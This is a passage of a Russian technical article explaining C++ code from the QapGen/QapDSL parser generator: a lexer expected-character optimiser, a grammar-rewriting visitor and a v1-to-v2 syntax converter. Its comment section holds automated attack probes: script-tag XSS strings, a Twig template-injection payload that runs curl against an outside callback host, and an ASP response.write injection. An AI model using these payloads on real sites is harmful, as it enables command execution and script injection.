        QapAssert(ex.object);
        ref=std::move(ex.object);
        dev.setPos(ex.pos);
        scope.ok=true;
      };
      if(count==1)
      {
        auto&ex=out_arr[first_id];
        use(ex);
        return;
      }
      #ifndef QAP_POLY_TOOL_DEBUG
      auto id=QAP_MINVAL_ID_OF_VEC(out_arr,-ex.pos);
      use(out_arr[id]);
      return;
      #endif
      auto&tool=t_poly_tool::get(/*Env*/);
      static vector<string> types;
      if(types.empty()&&plexs){
        for(auto&ex:*plexs)types.push_back(ex.pname);
      }
      auto&arr=tool.get_base_arr(/*Env,*/strbasetype,out_arr,types);
      vector<t_out_rec> out;
      auto update_mass=[&](){
        for(int i=0;i<out.size();i++){
          auto&ex=out[i];
          ex.mass=t_poly_tool::get_mass(arr,ex.info);
        }
      };
      for(int i=0;i<out_arr.size();i++){
        auto&ex=out_arr[i];
        if(!ex.object)continue;
        out.push_back(std::move(ex));
      }
      update_mass();
      vector<int> idarr;idarr.resize(out.size());
      for(int i=0;i<out.size();i++){idarr[i]=i;}
      if(true)
      {
        auto comp_pos=[&out](const int&a,const int&b)->bool{return out[a].pos>out[b].pos;};
        std::sort(std::begin(idarr),std::end(idarr),comp_pos);
        QapAssert(out[idarr[0]].pos>out[idarr[1]].pos);
        int fix_count=0;
        for(int i=1;i<out.size();i++){
          auto&pa=idarr[i-1];
          auto&pb=idarr[i-0];
          auto&a=out[pa];
          auto&b=out[pb];
          //if(a.mass<b.mass)continue;
          auto&base=tool.find(strbasetype);
          auto&events=base.events;
          auto find_event=[&events](const string&a,const string&b)->bool{
            for(int i=0;i<events.size();i++){
              if(events[i].A.type!=a)continue;
              if(events[i].B.type!=b)continue;
              return true;
            }
            return false;
          };
          bool flag_ab=find_event(a.info,b.info);
          bool flag_ba=find_event(b.info,a.info);
          QapAssert(!flag_ba);
          if(flag_ab)continue;
          events.push_back(t_config_2013::t_event());
          auto&back=events.back();
          back.time=cur_date_str();
          back.A.pos=IToS(a.pos);
          back.A.type=a.info;
          back.B.pos=IToS(b.pos);
          back.B.type=b.info;
          fix_count++;
        }
        if(fix_count){
          auto&base=tool.find(strbasetype);
          auto&events=base.events;
          tool.remake(base.arr,events);
          tool.save_doc(/*Env,*/"config.cfg");
          update_mass();
        }
      }
      auto comp_func=[&out](const int&a,const int&b)->bool{return out[a].mass<out[b].mass;};
      std::sort(std::begin(idarr),std::end(idarr),comp_func);
      QapAssert(out[idarr[0]].mass<out[idarr[1]].mass);
      for(int i=1;i<out.size();i++){
        auto&pa=idarr[i-1];
        auto&pb=idarr[i-0];
        auto&a=out[pa];
        auto&b=out[pb];
        if(a.pos>b.pos)continue;
        string msg="wrong mass for:\n";
        msg+="a.info = "+string(a.info)+"\n";
        msg+="a.pos = "+IToS(a.pos)+"\n";
        msg+="b.info = "+string(b.info)+"\n";
        msg+="b.pos = "+IToS(b.pos)+"\n";
        QapDebugMsg(msg);
      }
      use(out[idarr[0]]);
    }
  };
};

Разбор кода, оптимизирующего код полиморфных лексеров

Технический разбор функции lexer2vecofchar

Назначение

Функция lexer2vecofchar принимает объект лексера и возвращает строку символов (string), которая представляет собой множество ожидаемых символов для данного лексера. Эта строка используется для оптимизации разбора — чтобы быстро понимать, какие символы допустимы на текущем уровне.

Основная логика

  1. Обработка интерфейсных лексеров

if(lexer.is_interface){
  return polylexer2vecofchar(lexer);
}

Если лексер — интерфейсный (полиморфный), делегируем обработку специализированной функции polylexer2vecofchar.

  1. Обход команд лексера

for(auto& c : lexer.cmds){
  auto& fields = lexer.farr;
  t_struct_cmd cmd;
  QapAssert(load_obj(cmd, c));
  ...
}
  • Каждая команда лексера (cmd) загружается из сериализованного представления.

  • Анализируем функцию cmd.func.value — имя метода go_*, который реализует логику разбора.

  1. Обработка конкретных go_* методов

  • go_const — возвращает один первый символ, который лексер ожидает.

  • go_any / go_any_char — собирает множество символов, которые лексер может принять, используя функцию collect_expected_chars.

  • go_any_str_from_vec — аналогично, но для строк из вектора.

  • go_auto — рекурсивно обрабатывает вложенные лексеры, выдирая их типы из описания полей. Грамотно обрабатывает случаи с (TAutoPtr, vector).

  • go_str / go_vec — работает с шаблонными параметрами, извлекая вложенные лексеры и объединяя их множества символов.

  • go_minor — реализует понижение приоритета вложенного лексера и объединяет множества символов с учётом исключений. // пока без учёта исключений ибо сложно.

  1. Оптимизация и объединение множеств символов

  • Используется множество символов (string out), которое постепенно расширяется символами из вложенных лексеров.

  • Проверки и ассерты гарантируют корректность типов и структур.

  1. Обработка ошибок и неподдерживаемых функций

Если встречается неизвестный go_* метод — выводится отладочное сообщение.

Посмотреть исходники lexer2vecofchar
string lexer2vecofchar(const t_lexer&lexer)const{
  if(lexer.is_interface){
    return polylexer2vecofchar(lexer);
  }
  string out;
  for(auto&c:lexer.cmds){
    auto&fields=lexer.farr;
    t_struct_cmd cmd;
    QapAssert(load_obj(cmd,c));
    auto*p=t_struct_cmd_mode::UberCast(cmd.mode.get());
    //QapAssert(p);
    bool opt=p?p->body=='O':false;
    auto fn=cmd.func.value;
    if(fn=="go_const"){
      QapAssert(cmd.params.arr.size()==1);
      auto s=cmd.params.arr[0].body;
      QapAssert(s.size()>2);
      //TAutoPtr<vector<i_str_item>> si;//load_obj(si,s);
      auto bs=BinString::fullCppStr2RawStr(s);
      out.push_back(bs[0]);
      QapAssert(!opt);
      return out;
      int gg=1;
    }
    auto bad_type_checker=[](auto&lex,const string&type){
      string s=lex2str(*lex.get());
      return s.substr(0,type.size())==type;
    };
    if(fn=="go_any"||fn=="go_any_char"){
      QapAssert(cmd.params.arr.size()==2);
      auto&cpa0b=cmd.params.arr[0].body;
      auto&f=find_field(lexer,cpa0b);
      if(fn=="go_any")QapAssert(bad_type_checker(f.type,"string"));
      if(fn=="go_any_char")QapAssert(bad_type_checker(f.type,"char"));
      auto p0=cmd.params.arr[0].body;
      auto p1=cmd.params.arr[1].body;// выражение типа gen_dips("09")+"str"+"other_str"
      t_cmd_param p1p;
      QapAssert(load_obj(p1p,p1));
      collect_expected_chars(p1p,out);
      if(opt)continue;
      return out;
    }
    if(fn=="go_any_str_from_vec"){
      QapAssert(cmd.params.arr.size()==2);
      auto&cpa0b=cmd.params.arr[0].body;
      auto&f=find_field(lexer,cpa0b);
      QapAssert(bad_type_checker(f.type,"string"));
      auto p0=cmd.params.arr[0].body;
      auto p1=cmd.params.arr[1].body;// выражение типа split("0,9",",")
      t_cmd_param p1p;
      QapAssert(load_obj(p1p,p1));
      collect_expected_chars(p1p,out,true);
      if(opt)continue;
      return out;
    }
    if(fn=="go_end"){
      QapAssert(cmd.params.arr.size()==1);
      auto&cpa0b=cmd.params.arr[0].body;
      auto&f=find_field(lexer,cpa0b);
      auto p0=cmd.params.arr[0].body;
      auto p1=cmd.params.arr[1].body;
      auto p1s=BinString::fullCppStr2RawStr(p1);
      if(p1s.size()==1)QapDebugMsg("use go_any(dip_inv("+p1+")) instead of go_end("+p1+")");
      QapDebugMsg("go_end with str - under construction");
    }
    typedef t_cppcore::t_varcall_expr::t_var t_var;
    auto tp2var=[](const auto&tp,t_var&out){
      auto*ptp=t_cppcore::t_varcall_expr::t_template_part::UberCast(tp.get());
      string s;save_obj(ptp->expr,s);
      QapAssert(load_obj(out,s));
    };
    struct t_for_autoptr_r{
      bool con=false;
      bool ret=false;
    };
    auto for_autoptr=[&](const t_var&var,const string&tpn)->t_for_autoptr_r{
      if(tpn!="TAutoPtr")return {};
      t_var inner_param;
      tp2var(var.tp,inner_param);
      auto inner_pn=inner_param.name.value;
      vector<string> ftn;
      if(inner_param.tp){
        auto*p=t_cppcore::t_varcall_expr::t_dd_part::UberCast(inner_param.tp.get());
        QapAssert(p);
        auto&arr=p->arr;
        for(auto&ex:arr){
          ftn.push_back(ex.name.value);
        }
      }
      string ln=inner_pn+(ftn.size()?"::":"")+join(ftn,"::");
      auto*pl_inner=find_lexer_by_name_but_relative(ln,lexer);
      QapAssert(pl_inner);
      auto nested_chars=lexer2vecofchar(*pl_inner);
      QapAssert(!nested_chars.empty());
      out+=nested_chars;
      if(!opt)return {false,true};
      return {true,false};
    };
    if(fn=="go_auto"){
      QapAssert(cmd.params.arr.size()==1);
      auto&cpa0b=cmd.params.arr[0].body;
      auto&f=find_field(lexer,cpa0b);
      auto*pvc=t_cppcore::t_varcall_expr::UberCast(f.type.get());
      QapAssert(pvc);
      auto&v=pvc->var;
      if(v.name.value=="TAutoPtr"){
        auto r=for_autoptr(v,v.name.value);
        if(r.ret)return out;
        if(r.con)continue;
      }
      if(v.name.value=="vector"){
        QapAssert(v.tp);
        t_var template_param;
        tp2var(v.tp,template_param);
        auto tpn=template_param.name.value;
        QapAssert(tpn!="vector");
        auto r=for_autoptr(template_param,tpn);
        if(r.ret)return out;
        if(r.con)continue;
        auto*pl=find_lexer_by_name_but_relative(tpn,lexer);
        QapAssert(pl);
        out+=lexer2vecofchar(*pl);
        if(!opt)return out;
        continue;
      }
      auto*pl=find_lexer_by_name_but_relative(v.name.value,lexer);
      QapAssert(pl);
      out+=lexer2vecofchar(*pl);
      if(!opt)return out;
      continue;
    }
    if(fn=="go_str"||fn=="go_vec"){
      QapAssert(cmd.params.arr.size()==1);
      auto&cpa0b=cmd.params.arr[0].body;
      auto&f=find_field(lexer,cpa0b);
      auto*pvc=t_cppcore::t_varcall_expr::UberCast(f.type.get());
      QapAssert(pvc);
      auto&v=pvc->var;
      if(fn=="go_str"&&v.name.value!="string")QapDebugMsg("go_str support only string type of field");
      QapAssert(cmd.templ_params.size());
      TAutoPtr<t_templ_params> tp;
      QapAssert(load_obj(tp,cmd.templ_params));
      QapAssert(tp->body.size());
      TAutoPtr<t_type_templ_params> ttp;
      QapAssert(load_obj(ttp,tp->body));
      QapAssert(ttp);
      QapAssert(ttp->first.body);
      auto*ptit=t_meta_lexer::t_type_item_type::UberCast(ttp->first.body.get());
      QapAssert(ptit);
      if(ptit->type.value=="vector"||ptit->type.value=="TAutoPtr"){
        QapAssert(ptit->param);
        auto*ptta=t_meta_lexer::t_type_templ_angle::UberCast(ptit->param->body.get());
        QapAssert(ptta);
        QapAssert(ptta->params);
        QapAssert(ptta->params->first.body);
        auto*ptit2=t_type_item_type::UberCast(ptta->params->first.body.get());
        QapAssert(ptit2);
        if(ptit2->param){
          QapAssert(ptit2->type.value=="TAutoPtr");
          auto*ptta=t_meta_lexer::t_type_templ_angle::UberCast(ptit2->param->body.get());
          QapAssert(ptta);
          QapAssert(ptta->params);
          QapAssert(ptta->params->first.body);
          auto*ptit3=t_type_item_type::UberCast(ptta->params->first.body.get());
          if(ptit3->param)QapDebugMsg("unexpected param:"+lex2str(ptit3->param)+"\nin:"+cmd.templ_params);
          QapAssert(!ptit3->param);
          auto*pl=find_lexer_by_name_but_relative(ptit3->type.value,lexer);
          QapAssert(pl);
          out+=lexer2vecofchar(*pl);
          if(opt)continue;
          return out;
        }
        auto*pl=find_lexer_by_name_but_relative(ptit2->type.value,lexer);
        QapAssert(pl);
        out+=lexer2vecofchar(*pl);
        if(opt)continue;
        return out;
      }
      QapAssert(!ptit->param);
      auto*pl=find_lexer_by_name_but_relative(ptit->type.value,lexer);
      QapAssert(pl);
      out+=lexer2vecofchar(*pl);
      if(opt)continue;
      return out;
    }
    if(fn=="go_minor"){
      QapAssert(cmd.params.arr.size()==1);
      auto&cpa0b=cmd.params.arr[0].body;
      auto&f=find_field(lexer,cpa0b);
      auto*pvc=t_cppcore::t_varcall_expr::UberCast(f.type.get());
      QapAssert(pvc);
      auto&v=pvc->var;
      if(v.name.value=="string")QapDebugMsg("go_diff dont support string type of field");
      struct t_for_autoptr_r2{
        bool con=false;
        bool ret=false;
        bool pass()const{return !con&&!ret;}
        string out;
      };
      auto for_autoptr2=[&](const t_var&var,const string&tpn)->t_for_autoptr_r2{
        if(tpn!="TAutoPtr")return {};
        t_var inner_param;
        tp2var(var.tp,inner_param);
        auto inner_pn=inner_param.name.value;
        auto*pl_inner=find_lexer_by_name_but_relative(inner_pn,lexer);
        QapAssert(pl_inner);
        auto nested_chars=lexer2vecofchar(*pl_inner);
        QapAssert(!nested_chars.empty());
        if(!opt)return {false,true,nested_chars};
        return {true,false,nested_chars};
      };
      string our;bool template_lexer=false;
      if(v.name.value=="TAutoPtr"){
        auto r=for_autoptr2(v,v.name.value);
        our+=r.out;
        template_lexer=true;
        //if(r.ret)return out;
        //if(r.con)continue;
      }
      if(v.name.value=="vector"){
        template_lexer=true;
        QapAssert(v.tp);
        t_var template_param;
        tp2var(v.tp,template_param);
        auto tpn=template_param.name.value;
        QapAssert(tpn!="vector");
        auto r=for_autoptr2(template_param,tpn);
        our+=r.out;
        if(r.pass()){
          auto*pl=find_lexer_by_name_but_relative(tpn,lexer);
          QapAssert(pl);
          our+=lexer2vecofchar(*pl);
          //if(!opt)return out;
          //continue;
        }
      }
      if(!template_lexer){
        auto*pl=find_lexer_by_name_but_relative(v.name.value,lexer);
        QapAssert(pl);
        our+=lexer2vecofchar(*pl);
      }
      out+=our;
      if(opt)continue;
      return out;
      // unreachable code now because of wrong hi-level semantic logic. minus is not acceptable in most complex cases
      auto minus=[](const string&our,const string&major){
        auto m=CharMask::fromStr(our,true);
        auto e=CharMask::fromStr(major,true);
        string out;
        for(size_t i=0;i<256;i++)if(!e.mask[i]&&m.mask[i])out.push_back(static_cast<char>(i));
        return out;
      };
      string major;
      //---
      QapAssert(cmd.templ_params.size());
      TAutoPtr<t_templ_params> tp;
      QapAssert(load_obj(tp,cmd.templ_params));
      QapAssert(tp->body.size());
      TAutoPtr<t_type_templ_params> ttp;
      QapAssert(load_obj(ttp,tp->body));
      QapAssert(ttp);
      QapAssert(ttp->first.body);
      auto*ptit=t_meta_lexer::t_type_item_type::UberCast(ttp->first.body.get());
      QapAssert(ptit);
      if(ptit->type.value=="vector"||ptit->type.value=="TAutoPtr"){
        QapAssert(ptit->param);
        auto*ptta=t_meta_lexer::t_type_templ_angle::UberCast(ptit->param->body.get());
        QapAssert(ptta);
        QapAssert(ptta->params);
        QapAssert(ptta->params->first.body);
        auto*ptit2=t_type_item_type::UberCast(ptta->params->first.body.get());
        QapAssert(ptit2);
        if(ptit2->param){
          QapAssert(ptit2->type.value=="TAutoPtr");
          auto*ptta=t_meta_lexer::t_type_templ_angle::UberCast(ptit->param->body.get());
          QapAssert(ptta);
          QapAssert(ptta->params);
          QapAssert(ptta->params->first.body);
          auto*ptit3=t_type_item_type::UberCast(ptta->params->first.body.get());
          QapAssert(!ptit3->param);
          auto*pl=find_lexer_by_name_but_relative(ptit3->type.value,lexer);
          QapAssert(pl);
          major+=lexer2vecofchar(*pl);
          out+=minus(our,major);
          if(opt)continue;
          return out;
        }
        auto*pl=find_lexer_by_name_but_relative(ptit2->type.value,lexer);
        QapAssert(pl);
        major+=lexer2vecofchar(*pl);
        out+=minus(our,major);
        if(opt)continue;
        return out;
      }
      QapAssert(!ptit->param);
      auto*pl=find_lexer_by_name_but_relative(ptit->type.value,lexer);
      QapAssert(pl);
      major+=lexer2vecofchar(*pl);
      out+=minus(our,major);
      if(opt)continue;
      return out;
    }
    QapDebugMsg("unsupported go_* method: "+fn);
    int gg_cmds=1;
  }
  return out;
}

Почему это круто и важно для статьи

  • Глубокая интеграция с типовой системой — функция учитывает сложные типы (TAutoPtr, vector), что показывает мощь и гибкость этой системы.

  • Оптимизация разбора — формирование множества ожидаемых символов позволяет значительно ускорить парсинг, избегая лишних попыток.

  • Рекурсивный и полиморфный подход — лексеры могут содержать вложенные лексеры, и функция умеет корректно обходить эту структуру.

  • Чёткая и строгая проверка корректности — множество QapAssert и отладочных сообщений помогает быстро выявлять ошибки.

Краткое резюме

Функция lexer2vecofchar — ключевой компонент оптимизации полиморфных лексеров, который строит множество допустимых символов для текущего лексера, учитывая вложенные структуры и типы. Это позволяет эффективно фильтровать входные данные на раннем этапе разбора, повышая производительность и надёжность парсера. Благодаря строгому контролю типов и рекурсивной обработке, функция обеспечивает корректную работу даже с самыми сложными грамматиками.

Советы и рекомендации по расширению и отладке грамматик

"Разделитель" как самый популярный лексер, нужно вставлять после каких-нибудь других
лексеров в списке полей вышестоящего лексера, а не впереди всех, т.к тогда возможны конфликты. Особенно если вышестоящий лексер полиморфный. Это касается не только "разделителя", а всех других опциональных лексеров.
особенно если в двух и более полиморфных лексера одного семейства вначале используется общий для них всех лексер/go_*метод.

Разбор кода t_class_def_fixer

Назначение

t_class_def_fixer — это двойной посетитель (visitor), который проходит по структуре, описывающей грамматику QapDSL, и выполняет две ключевые модификации:

  1. Заменяет символ => (стрелочку) на : (двоеточие) в описании лексеров.
    Это упрощает и унифицирует синтаксис, делая его более читаемым и однородным.

  2. Удаляет встроенный C++ код, который идёт в конце описания лексеров, если он не содержит определённой строки.
    Это позволяет очистить описание лексеров от лишнего кода, если он не нужен, и избежать потенциальных конфликтов.

Основные компоненты и методы

Наследование и макросы

struct t_class_def_fixer:
  t_templ_sys_v04,
  t_meta_lexer::i_target_item_visitor,
  t_meta_lexer::t_target_struct::i_struct_impl::i_visitor
{
  #define ADD(F)typedef t_meta_lexer::F F;
    ADD(t_target_semicolon)
    ADD(t_target_sep)
    ADD(t_target_struct)
    ADD(t_target_using)
    ADD(t_target_typedef)
    ADD(i_target_item)
  #undef ADD
  ...
};
  • Класс наследует несколько интерфейсов и системных классов для обхода и модификации дерева грамматики.

  • Макрос ADD упрощает объявление типов из пространства имён t_meta_lexer, облегчая дальнейшую работу.

Универсальные методы обхода

template<class TYPE>
void Do(TYPE*p){if(p)Do(*p);}
template<class TYPE>
void Do(TYPE&r){r.Use(*this);}
template<class TYPE>
void Do(vector<TYPE>&arr){for(auto&ex:arr)Do(&ex);}
template<class TYPE>
void Do(vector<TAutoPtr<TYPE>>&arr){for(auto&ex:arr)if(ex)Do(*ex.get());}
template<class TYPE>
void Do(TAutoPtr<TYPE>&r){if(r)Do(*r.get());}
  • Универсальные шаблонные методы Do обеспечивают рекурсивный обход узлов и коллекций узлов дерева грамматики.

  • Это стандартный приём для реализации паттерна посетителя, позволяющий легко расширять обход без дублирования кода.

Обработка тела с реализацией (t_body_impl)

void Do(t_body_impl&r)override{
  if(cppcode_killer){
    if(lex2str(r.c).find("inline static const string value=\"")==string::npos){
      r.c=nullptr; // убиваем C++ код идущий в конце описания lexer`а
    }
  }
  Do(r.nested);
}
  • Если включён флаг cppcode_killer, и в коде r.c нет строки "inline static const string value=\"", то содержимое r.c удаляется.

  • Таким образом, удаляется «лишний» C++ код, оставляя только важные константы.

  • Затем рекурсивно обрабатываются вложенные лексерыr.nested.

Замена стрелочки на двоеточие

void Do(t_target_struct::t_parent&r){
  if(r.arrow_or_colon.size()) r.arrow_or_colon=":";
}
  • Если у родителя (t_parent) есть символ arrow_or_colon (который может быть => или :), он заменяется на двоеточие :.

  • Это делает синтаксис похожим на С++ и исправляет эту досадную ошибку из QapDSLv1

Обход других узлов

void Do(t_target_struct&r)override{
  Do(r.parent);
  Do(r.body);
}
void Do(t_target_semicolon&r)override{}
void Do(t_target_sep&r)override{}
void Do(t_target_using&r)override{}
void Do(t_target_typedef&r)override{}
  • Для структур вызывается обход родителя и тела.

  • Для остальных типов — пустая реализация, так как модификации не требуются.

Основной метод запуска

string main(const string&data){
  t_target tar;
  auto fs=load_obj_full(tar,data);
  if(!fs.ok){cerr<<fs.msg<<endl;return "fail";}
  if(tar.arr.empty()){return "!target\n\n"+fs.msg;}
  for(auto&ex:tar.arr){
    auto*p=ex.get();
    p->Use(*this);
  }
  string out;
  save_obj(tar,out);
  return out;
}
  • Загружает исходный QapDSL-код в объект tar.

  • Если загрузка не удалась или пустой результат — возвращает ошибку.

  • Итерируется по всем элементам и применяет к ним посетителя (Use(*this)), вызывая модификации.

  • Сохраняет изменённый объект обратно в строку и возвращает результат.

Итог

t_class_def_fixer — компактный и эффективный инструмент для постобработки QapDSL-кода, который обеспечивает:

  • Унификацию синтаксиса через замену стрелочек на двоеточия.

  • Очистку описаний лексеров от лишнего C++ кода, что упрощает дальнейшую работу и снижает шум.

  • Гибкий и рекурсивный обход дерева грамматики с помощью шаблонных методов и паттерна посетителя.

Этот класс отлично демонстрирует, как можно аккуратно и безопасно модифицировать сложные структуры грамматик, сохраняя при этом читаемость и расширяемость кода.

Подробный разбор структуры t_qapdls_v1_to_v2, которая реализует конвертер кода QapDSL в QapDSLv2.

Общее назначение

  • Перевести синтаксис и семантику старой версии в новую, более короткую и удобную.

  • ...

  • Profit!

Ключевые части и методы

Наследование и макросы

struct t_qapdls_v1_to_v2:
  t_templ_sys_v04,
  t_meta_lexer::i_target_item_visitor,
  t_meta_lexer::t_target_struct::i_struct_impl::i_visitor,
  t_meta_lexer::i_struct_cmd_xxxx::i_visitor
{
  #define ADD(F)typedef t_meta_lexer::F F;
    ADD(t_target_semicolon)
    ADD(t_target_sep)
    ADD(t_target_struct)
    ADD(t_target_using)
    ADD(t_target_typedef)
    ADD(i_target_item)
    ADD(t_struct_cmd_mode)
    ADD(t_struct_cmd_anno)
  #undef ADD
  ...
};

...

Обработка команд лексера (t_body_impl)

void Do(t_body_impl&r)override{
  Do(r.nested);
  if(!r.cmds)return;
  auto&arr=r.cmds->arr;
  vector<string> fields;
  for(auto&ex:arr){
    opt=false;
    if(ex.body.mode)Do(ex.body.mode.get());
    auto&f=ex.body.func.value;
    QapAssert(f.size()>3&&f.substr(0,3)=="go_");
    auto res=f.substr(3);
    auto&params=ex.body.params.arr;
    QapAssert(params.size());
    string pad;
    string pad2;
    for(int i=0;i<lexers.size();i++)pad+="  ";
    for(int i=1;i<lexers.size();i++)pad2+="  ";
    
    if(res=="const"){
      fields.push_back("\n"+pad+params[0].body+"\n"+pad2);
      continue;
    }
    
    auto&src=find_field(r.arr,params[0].body);
    
    if(res=="auto"){
      src.qst=nullptr;
      if(opt)load_obj(src.qst,"?");
      fields.push_back("\n"+pad+lex2str(src)+"\n"+pad2);
      continue;
    }
    
    vector<string> sparams;
    for(int i=1;i<params.size();i++){
      sparams.push_back(params[i].body);
    }
    
    fields.push_back("\n"+pad+lex2str(src.type)+""+src.name.value+"="+res+ex.body.templ_params+"("+join(sparams,",")+")"+string(opt?"?":"")+";\n"+pad2);
  }
  r.arr.clear();
  auto mem=join(fields,"");
  t_load_dev dev(mem);
  bool ok=dev.go_auto(r.arr);
  QapAssert(ok);
  r.cmds=nullptr;
}
  • Обрабатывает команды go_* в теле лексера.

  • Для каждой команды:

    • Определяет режим opt (опциональность).

    • Извлекает имя функции без префикса go_ (field).

    • Находит соответствующее поле в структуре по имени.

    • Формирует новую строку с описанием поля в формате QapDSLv2.

  • Собирает все преобразованные поля в строку, затем парсит её обратно в структуру r.arr. // вы только посмотрите на эту наглую вольность! Жертвовать производительностью ради красивой архитектуры!

  • Удаляет команды r.cmds.

Вспомогательные методы

bool opt=false;

void Do(t_struct_cmd_mode&r){opt=r.body=='O';}
void Do(t_struct_cmd_anno&r){opt=r.mode[0]=='o';if(r.mode.size()>1)opt=r.mode[1]=='o';}

t_struct_field& find_field(const vector<TAutoPtr<i_struct_field>>&arr,const std::string&name) const {
  for(auto&ex:arr){
    auto*pf=t_struct_field::UberCast(ex.get());
    QapAssert(pf);
    if(pf->name.value==name) return *pf;
  }
  QapDebugMsg("can't find field '"+name+"' inside lexer '"+lexers.back()+"'");
  static t_struct_field tmp;
  return tmp;
}
  • Переменная opt хранит состояние опциональности текущей команды.

  • Методы Do для t_struct_cmd_mode и t_struct_cmd_anno устанавливают opt в зависимости от модификаторов.

  • Метод find_field ищет поле по имени в массиве полей, с отладочным сообщением при отсутствии.

Обход лексеров с запоминание уровней вложенности.

vector<string> lexers;
void Do(t_target_struct&r){
  lexers.push_back(r.name.value);
  Do(r.parent);
  Do(r.body);
  lexers.pop_back();
}
  • Ведёт стек имён лексеров для контекста при поиске полей.

Основной метод запуска

string main(const string&data){
  t_target tar;
  auto fs=load_obj_full(tar,data);
  if(!fs.ok){cerr<<fs.msg<<endl;return "fail";}
  if(tar.arr.empty()){return "!target\n\n"+fs.msg;}
  for(auto&ex:tar.arr){
    auto*p=ex.get();
    p->Use(*this);
  }
  string out;
  save_obj(tar,out);
  return out;
}

Итог

t_qapdls_v1_to_v2 — это мощный и аккуратный конвертер, который:

  • Автоматически преобразует старый синтаксис и структуру QapDSLv1 в новую, более лаконичную и современную QapDSLv2.

  • Упрощает описание лексеров, команд и полей, сохраняя при этом семантику.

  • Позволяет легко мигрировать и использовать преимущества нового синтаксиса без ручной переработки.

  • Показывает как на самом деле надо обходить дерево для его удобной модификации! Это одна из лучших практик!

Весь код целиком
struct t_qapdls_v1_to_v2:
  t_templ_sys_v04,
  t_meta_lexer::i_target_item_visitor,
  t_meta_lexer::t_target_struct::i_struct_impl::i_visitor,
  t_meta_lexer::i_struct_cmd_xxxx::i_visitor
{
  #define ADD(F)typedef t_meta_lexer::F F;
    ADD(t_target_semicolon)\
    ADD(t_target_sep)\
    ADD(t_target_struct)\
    ADD(t_target_using)\
    ADD(t_target_typedef)\
    ADD(i_target_item)\
    ADD(t_struct_cmd_mode)\
    ADD(t_struct_cmd_anno)\
      //
  #undef ADD
  template<class TYPE>
  void Do(TYPE*p){if(p)Do(*p);}
  template<class TYPE>
  void Do(TYPE&r){r.Use(*this);}
  template<class TYPE>
  void Do(vector<TYPE>&arr){for(auto&ex:arr)Do(&ex);}
  template<class TYPE>
  void Do(vector<TAutoPtr<TYPE>>&arr){for(auto&ex:arr)if(ex)Do(*ex.get());}
  template<class TYPE>
  void Do(TAutoPtr<TYPE>&r){if(r)Do(*r.get());}
  //template<class TYPE>
  void Do(t_body_semicolon&r)override{}
  bool opt=false;
  void Do(t_struct_cmd_mode&r){opt=r.body=='O';}
  void Do(t_struct_cmd_anno&r){opt=r.mode[0]=='o';if(r.mode.size()>1)opt=r.mode[1]=='o';}
  t_struct_field&find_field(const vector<TAutoPtr<i_struct_field>>&arr,const std::string&name)const{
    for(auto&ex:arr){
      auto*pf=t_struct_field::UberCast(ex.get());
      QapAssert(pf);
      if(pf->name.value==name)return *pf;
    }
    QapDebugMsg("can't find field '"+name+"' inside lexer '"+lexers.back()+"'");
    static t_struct_field tmp;
    return tmp;
  }
  void Do(t_body_impl&r)override{
    Do(r.nested);
    if(!r.cmds)return;
    auto&arr=r.cmds->arr;
    vector<string> fields;
    for(auto&ex:arr){
      opt=false;
      if(ex.body.mode)Do(ex.body.mode.get());
      auto&f=ex.body.func.value;
      QapAssert(f.size()>3&&f.substr(0,3)=="go_");
      auto res=f.substr(3);
      auto&params=ex.body.params.arr;
      QapAssert(params.size());
      string pad;
      string pad2;
      for(int i=0;i<lexers.size();i++)pad+="  ";
      for(int i=1;i<lexers.size();i++)pad2+="  ";
      if(res=="const"){
        fields.push_back("\n"+pad+params[0].body+"\n"+pad2);
        continue;
      }
      auto&src=find_field(r.arr,params[0].body);
      if(res=="auto"){
        src.qst=nullptr;
        if(opt)load_obj(src.qst,"?");
        fields.push_back("\n"+pad+lex2str(src)+"\n"+pad2);
        continue;
      }
      vector<string> sparams;
      for(int i=1;i<params.size();i++){
        sparams.push_back(params[i].body);
      }
      fields.push_back("\n"+pad+lex2str(src.type)+""+src.name.value+"="+res+ex.body.templ_params+"("+join(sparams,",")+")"+string(opt?"?":"")+";\n"+pad2);
    }
    r.arr.clear();
    auto mem=join(fields,"");
    t_load_dev dev(mem);
    bool ok=dev.go_auto(r.arr);
    QapAssert(ok);
    r.cmds=nullptr;
  }
  void Do(t_target_semicolon&r)override{}
  void Do(t_target_sep&r)override{}
  void Do(t_target_struct::t_parent&r){if(r.arrow_or_colon.size())r.arrow_or_colon=":";}
  vector<string> lexers;
  void Do(t_target_struct&r)override{lexers.push_back(r.name.value);Do(r.parent);Do(r.body);lexers.pop_back();}
  void Do(t_target_using&r)override{}
  void Do(t_target_typedef&r)override{}
  string main(const string&data){
    t_target tar;
    auto fs=load_obj_full(/*Env,*/tar,data);
    if(!fs.ok){cerr<<fs.msg<<endl;return "fail";}
    if(tar.arr.empty()){return "!target\n\n"+fs.msg;}
    for(auto&ex:tar.arr){
      auto*p=ex.get();
      p->Use(*this);
    }
    string out;
    save_obj(tar,out);
    return out;
  }
};

Полезные ресурсы

  • Официальный репозиторий QapGen

  • Примеры грамматик XML и сгенерированного из него кода.

Источник

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

